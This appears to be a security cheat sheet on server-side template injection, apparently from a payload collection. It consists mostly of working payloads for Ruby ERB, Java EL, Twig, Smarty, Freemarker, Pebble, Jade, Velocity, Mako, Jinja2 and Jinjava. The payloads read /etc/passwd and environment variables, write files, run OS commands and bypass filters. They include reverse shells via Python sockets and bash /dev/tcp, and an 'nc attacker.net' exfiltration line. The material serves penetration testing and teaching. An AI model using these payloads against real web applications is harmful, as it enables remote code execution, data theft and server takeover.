# Templates Injections > Template injection allows an attacker to include template code into an existant (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages ## Summary * [Tools](#tools) * [Methodology](#methodology) * [Ruby](#ruby) * [Basic injection](#basic-injection) * [Retrieve /etc/passwd](#retrieve--etc-passwd) * [List files and directories](#list-files-and-directories) * [Java](#java) * [Basic injection](#basic-injection) * [Retrieve the system’s environment variables](retrieve-the-system-s-environment-variables) * [Retrieve /etc/passwd](#retrieve--etc-passwd) * [Twig](#twig) * [Basic injection](#basic-injection) * [Template format](#template-format) * [Code execution](#code-execution) * [Smarty](#smarty) * [Freemarker](#freemarker) * [Basic injection](#basic-injection) * [Code execution](#code-execution) * [Peeble](#peeble) * [Basic injection](#basic-injection) * [Code execution](#code-execution) * [Jade / Codepen](#jade---codepen) * [Velocity](#velocity) * [Mako](#mako) * [Jinja2](#jinja2) * [Basic injection](#basic-injection) * [Template format](#template-format) * [Dump all used classes](#dump-all-used-classes) * [Dump all config variables](#dump-all-config-variables) * [Read remote file](#read-remote-file) * [Write into remote file](#write-into-remote-file) * [Remote Code Execution](#remote-code-execution) * [Filter bypass](filter-bypass) * [Jinjava](#jinjava) * [Basic injection](#basic-injection) * [Command execution](#command-execution) * [References](#references) ## Tools Recommended tool: [Tplmap](https://github.com/epinna/tplmap) e.g: ```powershell python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ## Methodology ![SSTI cheatsheet workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true) ## Ruby ### Basic injection ```ruby <%= 7 * 7 %> ``` ### Retrieve /etc/passwd ```ruby <%= File.open('/etc/passwd').read %> ``` ### List files and directories ```ruby <%= Dir.entries('/') %> ``` ## Java ### Basic injection ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ``` ### Retrieve the system’s environment variables ```java ${T(java.lang.System).getenv()} ``` ### Retrieve /etc/passwd ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ## Twig ### Basic injection ```python {{7*7}} {{7*'7'}} would result in 49 ``` ### Template format ```python $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` ### Code execution ```python {{self}} {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} ``` ## Smarty ```python {php}echo `id`;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} ``` ## Freemarker You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) ### Basic injection The template can be `${3*3}` or the legacy `#{3*3}` ### Code execution ```js <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ``` ## Pebble ### Basic injection ```java {{ someString.toUPPERCASE() }} ``` ### Code execution ```java {% set cmd = 'id' %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` ## Jade / Codepen ```python - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ## Velocity ```python #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end ``` ## Mako ```python <% import os x=os.popen('id').read() %> ${x} ``` ## Jinja2 [Official website](http://jinja.pocoo.org/) > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. ### Basic injection ```python {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 {{config.items()}} ``` Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application. ### Template format ```python {% extends "layout.html" %} {% block body %} {% endblock %} ``` ### Dump all used classes ```python {{ [].class.base.subclasses() }} {{''.class.mro()[1].subclasses()}} {{ ''.__class__.__mro__[2].__subclasses__() }} ``` ### Dump all config variables ```python {% for key, value in config.iteritems() %}
{{ key|e }}
{{ value|e }}
{% endfor %} ``` ### Read remote file ```python # ''.__class__.__mro__[2].__subclasses__()[40] = File class {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }} ``` ### Write into remote file ```python {{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` ### Remote Code Execution Listen for connexion ```bash nv -lnvp 8000 ``` #### Exploit the SSTI by calling subprocess.Popen. :warning: the number 396 will vary depending of the application. ```python {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} ``` #### Exploit the SSTI by calling Popen without guessing the offset ```python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ``` #### Exploit the SSTI by writing an evil config file. ```python # evil config {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} ``` ### Filter bypass ```python request.__class__ request["__class__"] ``` Bypassing `_` ```python http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_ {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} {{request|attr(["_"*2,"class","_"*2]|join)}} {{request|attr(["__","class","__"]|join)}} {{request|attr("__class__")}} {{request.__class__}} ``` Bypassing `[` and `]` ```python http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_ or http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ ``` Bypassing `|join` ```python http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ ``` ## Jinjava ### Basic injection ```python {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` Jinjava is an open source project developped by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) ### Command execution Fixed by https://github.com/HubSpot/jinjava/pull/230 ```python {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` ## References * [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/) * [Yahoo! RCE via Spring Engine SSTI](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/) * [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/) * [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98) * [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) * [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/) * [Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti) * [RITSEC CTF 2018 WriteUp (Web) - Aj Dumanhug](https://medium.com/@ajdumanhug/ritsec-ctf-2018-writeup-web-72a0e5aa01ad) * [RCE in Hubspot with EL injection in HubL - @fyoorer](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw) * [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork](https://0day.work/jinja2-template-injection-filter-bypasses/) * [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9) * [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf) * [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)